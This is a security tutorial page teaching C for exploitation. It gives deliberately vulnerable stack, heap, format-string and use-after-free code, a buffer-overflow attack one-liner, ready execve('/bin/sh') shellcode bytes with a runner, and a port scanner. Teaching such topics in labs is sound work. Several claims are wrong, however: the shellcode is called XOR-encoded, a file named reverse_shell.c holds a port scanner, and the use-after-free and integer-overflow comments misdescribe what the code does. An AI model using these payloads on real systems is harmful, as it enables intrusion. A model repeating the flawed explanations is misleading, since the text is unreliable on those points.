C for Cyber Security

Master C to understand memory exploitation, buffer overflows, shellcode development, and low-level security concepts. The language behind operating systems and exploits.

Why C for Security

C is the foundation of modern computing. Operating systems, kernels, and most security exploits are written in C. Understanding C is essential for exploit development, reverse engineering, and understanding how memory-level attacks work.

  • Memory access - Direct pointer manipulation allows you to understand and exploit memory corruption bugs.
  • Exploit development - Most shellcode and exploit payloads are written in C or assembly.
  • OS internals - Linux kernel, Windows kernel, and system libraries are written in C.
  • Performance - Security tools written in C run at maximum speed with minimal overhead.
  • Reverse engineering - Understanding C is critical for reading decompiled binaries.
Why C is Dangerous

C provides no built-in memory safety. Buffer overflows, use-after-free, format string vulnerabilities, and integer overflows are all possible. These same vulnerabilities are what attackers exploit.

C Basics for Security

Variables and Types

c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main() {
    // Integer types - watch for overflow
    unsigned int max_uint = 4294967295;
    int signed_int = -1;

    // Buffer - the source of most vulnerabilities
    char buffer[64];
    char *heap_str = malloc(128);

    // String operations - DANGEROUS
    strcpy(buffer, "This is safe");
    strcat(buffer, " - appending");
    printf("Buffer: %s (len: %zu)\n", buffer, strlen(buffer));

    // Safe alternatives
    strncpy(buffer, "Safe copy", sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';

    free(heap_str);
    return 0;
}

Functions and Pointers

c
// Function with pointer parameters
void xor_encrypt(char *data, size_t len, char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// Function pointer - used in exploit dev
void shell() {
    system("/bin/sh");
}

int main() {
    char payload[] = "SECRET DATA";
    xor_encrypt(payload, strlen(payload), 0x42);
    printf("Encrypted: %s\n", payload);

    // Function pointer
    void (*func_ptr)() = shell;
    func_ptr();  // Calls shell()

    return 0;
}

Memory Management

Understanding the memory layout is critical for exploit development. A C program's memory is divided into stack, heap, BSS, and text segments.

Memory Layout

Stack - Local variables, function parameters, return addresses. Grows downward. Heap - Dynamic memory (malloc/free). Grows upward. BSS - Uninitialized global variables. Text - Executable code (read-only).

c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];  // Only 64 bytes on stack

    // DANGEROUS: No bounds checking!
    strcpy(buffer, input);
    printf("Buffer: %s\n", buffer);
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }

    vulnerable_function(argv[1]);
    return 0;
}

// Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack
// The -fno-stack-protector disables stack canaries
// -z execstack makes stack executable (for shellcode)

Heap Exploitation Concept

c
// Use-After-Free vulnerability
struct user_data {
    char name[32];
    void (*action)();
};

void admin_action() {
    system("cat /etc/shadow");
}

int main() {
    // Allocate and free
    struct user_data *user = malloc(sizeof(struct user_data));
    user->action = admin_action;
    free(user);  // Memory freed but pointer not nullified

    // Attacker allocates new object in same memory
    struct user_data *evil = malloc(sizeof(struct user_data));
    strcpy(evil->name, "attacker");

    // user->action now points to attacker's data!
    user->action();  // Calls admin_action() - privilege escalation

    return 0;
}

Buffer Overflow Exploitation

Buffer overflows occur when more data is written to a buffer than it can hold, overwriting adjacent memory including the return address.

c - vulnerable.c
#include <stdio.h>
#include <string.h>

void vuln(char *input) {
    char buf[64];
    strcpy(buf, input);  // No bounds check = VULNERABLE
}

int main(int argc, char **argv) {
    vuln(argv[1]);
    printf("Returned normally\n");
    return 0;
}

// Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack
// Attack: python3 -c 'print("A"*72 + "\x40\x11\x55\x56")' | ./vuln
// 72 bytes fill buffer + saved EBP, then overwrite return address
Lab Environment Only

Practice buffer overflow exploitation only in isolated lab environments (VMs, containers). Use vulnerable-by-design programs like Damn Vulnerable Linux (DVL) or Protostar challenges.

Shellcode Development

Shellcode is a small piece of machine code used as a payload in exploits. It typically spawns a shell when executed.

c - shellcode_execve.c
// Classic execve("/bin/sh") shellcode in C
// This demonstrates what shellcode does internally
#include <stdio.h>
#include <unistd.h>

int main() {
    char *shell[] = {"/bin/sh", NULL};
    execve(shell[0], shell, NULL);
    return 0;
}

// Shellcode format - XOR-encoded to avoid null bytes
unsigned char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\xb0\x0b\xcd\x80";

// Execute shellcode via function pointer
void execute_shellcode() {
    void (*shellcode_ptr)() = (void (*)()) shellcode;
    shellcode_ptr();
}

// Print shellcode as hex for use in exploits
void print_shellcode() {
    unsigned int len = sizeof(shellcode) - 1;
    printf("Shellcode length: %u bytes\n", len);
    for (int i = 0; i < len; i++) {
        printf("\\x%02x", shellcode[i]);
    }
    printf("\n");
}

Socket Programming

c - reverse_shell.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

// Simple TCP port scanner in C
int scan_port(char *ip, int port) {
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    inet_pton(AF_INET, ip, &addr.sin_addr);

    int result = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
    close(sock);
    return result == 0;
}

int main(int argc, char **argv) {
    if (argc < 2) {
        printf("Usage: %s <ip>\n", argv[0]);
        return 1;
    }

    printf("Scanning %s...\n", argv[1]);
    int common_ports[] = {21,22,23,25,80,443,8080,3306};
    for (int i = 0; i < 8; i++) {
        if (scan_port(argv[1], common_ports[i]))
            printf("[+] Port %d OPEN\n", common_ports[i]);
    }
    return 0;
}

Exploit Development Concepts

c - exploit_concepts.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Format string vulnerability
void format_string_vuln(char *user_input) {
    // DANGEROUS: User input as format string
    printf(user_input);  // %x %x %x can leak stack data!
}

// Integer overflow vulnerability
void integer_overflow(int size) {
    int total = size * 2;  // Can overflow!
    char *buf = malloc(total);
    printf("Allocated: %d bytes\n", total);
    free(buf);
}

// Heap overflow
void heap_overflow(char *input) {
    char *chunk1 = malloc(16);
    char *chunk2 = malloc(16);
    strcpy(chunk1, input);  // Overflows into chunk2's metadata
    free(chunk1);
    free(chunk2);
}

int main() {
    // Format string: %x leaks stack, %n writes to stack
    format_string_vuln("AAAA%x.%x.%x.%x\n");

    // Integer overflow: 0x7FFFFFFF * 2 = small positive
    integer_overflow(0x7FFFFFFF);

    return 0;
}
Practice

Practice exploit development with OverTheWire Narnia, Protostar, and pwnable.kr challenges. Always use isolated lab environments.

Resources

  • The C Programming Language: Kernighan & Ritchie
  • Hacking: The Art of Exploitation: Jon Erickson
  • Buffer Overflow Attacks: Jim Forster
  • Protostar Challenges: exploit.education
  • pwnable.kr: pwnable.kr
  • OverTheWire Narnia: overthewire.org